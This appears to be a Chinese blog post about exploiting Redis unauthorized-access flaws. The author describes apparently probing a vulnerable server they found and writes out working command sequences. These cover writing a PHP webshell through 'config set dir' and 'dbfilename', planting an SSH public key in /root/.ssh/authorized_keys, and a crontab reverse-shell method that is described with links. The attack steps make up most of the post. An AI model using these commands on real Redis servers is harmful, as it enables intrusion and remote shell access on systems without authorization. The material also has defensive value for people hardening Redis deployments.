0x00 前言
最近偶然挖到一个Redis未授权访问漏洞,但是对Redis和漏洞原理不了解,所以一边写一边学一下这个漏洞。尝试一下getshell。
0x01 Redis简介
简单来说,Redis是一种数据库。
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis和mysql区别
https://www.hzpady.com/a/2119.html
0x02 漏洞原理(产生条件)
redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
没有设置密码认证,可以免密码登入redis服务。
0x03 漏洞利用
方法1 利用redis写webshell(条件是知道web目录的绝对路径,并有读写权限)
先下载个Redis
在redis官网上看到可以docker pull,那岂不乐哉。
$ docker search redis
$ docker pull redis
只需两条命令,redis已成为我的囊中之物
接下来运行容器
$ docker run -d -p 6379:6379 --name redis redis
用ps命令可以看到redis已经部署到了我的6379端口了
刚刚学了Redis未授权访问漏洞,那我自己不会也可以被x了吧?于是我扫了一下自己,并没有发现6379端口开放,那我应该还是安全的。而且好像如果被x了,x的应该也是我的docker容器才对!(实验环境是自己刚买的的某云服务器)
下一步进入容器
$ docker exec -it redis /bin/bash
在容器里用 redis-cli -h xxx.xxx.xxx.xxx
命令来连接存在漏洞的服务器
连接成功后的一些常用命令:
查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
查看所有键:KEYS *,使用select num可以查看键值数据
设置变量:set test "whoami"
设置路径等配置:config set dir [dirpath]
获取路径及数据配置信息:config get dir/dbfilename
获取所有配置信息:config get *
保存:save
查看变量名称:get [变量]
开始写webshell了,方法是
config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save
发现找不到网站的绝对路径,试了很多也没用,看来只能另辟蹊径了
方法2 在目标机器写入ssh公钥 然后在用私钥登录 (前提是开启了ssh服务即22号端口开放,目标机器root权限启动redis)
再把key.txt导入容器
$ docker cp ./key.txt redis:/home
进入容器,如图操作发现没有权限,很遗憾,但是说明此方法也不可行了。
如果有权限的话就可以
> config set dir /root/.ssh/
> config get dir
> config set dbfilename "authorized_keys"
> save
ssh -i a [email protected]
或者如下
> config set dir /root/.ssh/
> config set dbfilename authorized_keys
> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC87XDbro8GLpOd4CLvm4uEkyeHAg5qElanEaiYIVh19fo6DvEYHjvUJ6+xg86wXSqbO9YPBvW+ZBFEDwq2ywVOL0jxrQ26GdQwY4SSfvrKdPKUVLvoV5+haZ6wc9ECK0P5rVuVuljWYTh+T5TCubEdXa5QKWNf+lGqDED6unUg4RuvI+1+LAWPrSTMGuYazHYC5GMVp/Y/eA9jrbEH3BZyYLLdsYB4yBw3Ej6hezpFjIJsOJaTx9PlO2rce7VJjCZkCRu5eqLkSqyEFEyD2UNVPQ21oIzaVg4rShMij1r6R8CMpc6mysbOEcEsCBLNZxN3EfwGOwtSYa8LV3d0mHXn ubuntu@VM-20-16-ubuntu\n\n\n"
> save
方法3 修改目标机器的crontab 添加弹shell命令
正好linux下的crontab功能和反弹shell我之前都有过文章记录,所以这个方法还挺适合我用的。
https://www.jianshu.com/p/7e8773820928
https://www.jianshu.com/p/3a81b2769776
很可惜在目标机器中没有找到 /var/spool/cron 文件夹
如果写到/etc/crontab文件中能否利用成功呢?到处都是知识盲区,还是得自己搭环境慢慢试。
0x04 小结
我感觉这个漏洞算是挺常见的,经常能在其他文章中看到,今天自己也挖到了,于是就简单学习了一波。这算是很古老的漏洞了吧,但是在今天仍然随处可见,正说明了人类的不良习惯造成的漏洞是没办法打补丁的。
参考文章(里面防护方法也很详细)
https://www.freebuf.com/articles/network/170904.html